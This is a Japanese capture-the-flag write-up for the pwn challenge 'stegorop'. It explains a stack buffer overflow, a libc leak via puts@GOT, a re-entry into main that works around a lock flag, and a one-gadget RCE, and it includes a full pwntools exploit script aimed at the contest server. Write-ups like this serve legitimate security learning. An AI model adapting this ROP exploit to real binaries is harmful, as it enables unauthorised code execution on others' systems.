InterKosenCTF stegorop writeup
はじめに
チームContrailとして参加しました.CTFにチームでワイワイしながら取り組むことの楽しさを実感した大会でした.ただ,自分はPwnしかわからないので後半は置物と化しており,複数のジャンルを知っていたら...と改善点もみえました.
自分はwelcome問以外だとPwnを2問通しました.fastbinの問題は適当にやってたらフラグが出てきたのでWriteupかけません.なので,stegoropについて書きたいと思います.
プログラムの概略
問題文にbrainf * ckとあったのでポインタをいじる系の問題かなと予想して取り掛かりました. しかし,実行してみると文字列の入力を受け付けてbrainf * ckに変換して出力するだけの様子.
方針
実行してみるとわかりますが,単純にスタックベースのBOFが存在します.
libcが配布されていたこともあり,いつもの通りlibcのリークにとりかかりました.
問題なくリークが行えたため,ret2vulnでmain関数に処理を戻そうとしたところで問題が発生しました.
下に示すようにmain関数終了時にlockに 1
が格納され,2度目にmain関数を呼ぶ際に 1
であると abort
が発生してプログラムが終了していまいます.
そのため,一度目に送り込むペイロードをlibcリークとmain()の途中にあるreadに処理を飛ばすようにしました.
そうすることで,ROP chainが開始し,lockを埋める 0
と one-gadget rce
のアドレスを追加で読み込ませました.
エクスプロイトコード
from pwn import * from sys import argv context.log_level = "INFO" binary = "./chall" elf = ELF(binary) if len(argv) >= 2 and sys.argv[1] == "r": p = remote("pwn.kosenctf.com", 9002) libc = ("./libc-2.27.so") PUTS_OFF = 0x809c0 else: p = gdb.debug(binary, ''' break *0x400914 break *0x4008e1 continue ''') PUTS_OFF = 0x809c0 payload = b"" payload += b"A" * 112 payload += p64(0x601149+0x70) payload += p64(0x4009b3) # pop rdi ; ret ; payload += p64(0x601028) # puts@got payload += p64(0x400620) # puts@plt payload += p64(0x4005ee) # ret ; payload += p64(0x4008e1) # main関数の途中 payload += p64(0x40087c) # main関数の先頭 p.recvuntil("Input: ") p.send(payload) p.recvline() puts_got = u64(p.recv(6)+b"\x00\x00") # データの整形 log.info("puts_got: 0x{:08x}".format(puts_got)) libc_base = puts_got - PUTS_OFF log.info("libc_base: 0x{:08x}".format(libc_base)) one_shot = libc_base + 0x4f322 payload2 = b"" payload2 += p64(0x0) payload2 += p64(one_shot) * 0x10 p.recvuntil("Input: ") p.send(payload2) time.sleep(1) p.interactive()
実行結果
おわりに
フラグからわかるようにStack pivotが想定解みたい. もっとPwn頑張りたい.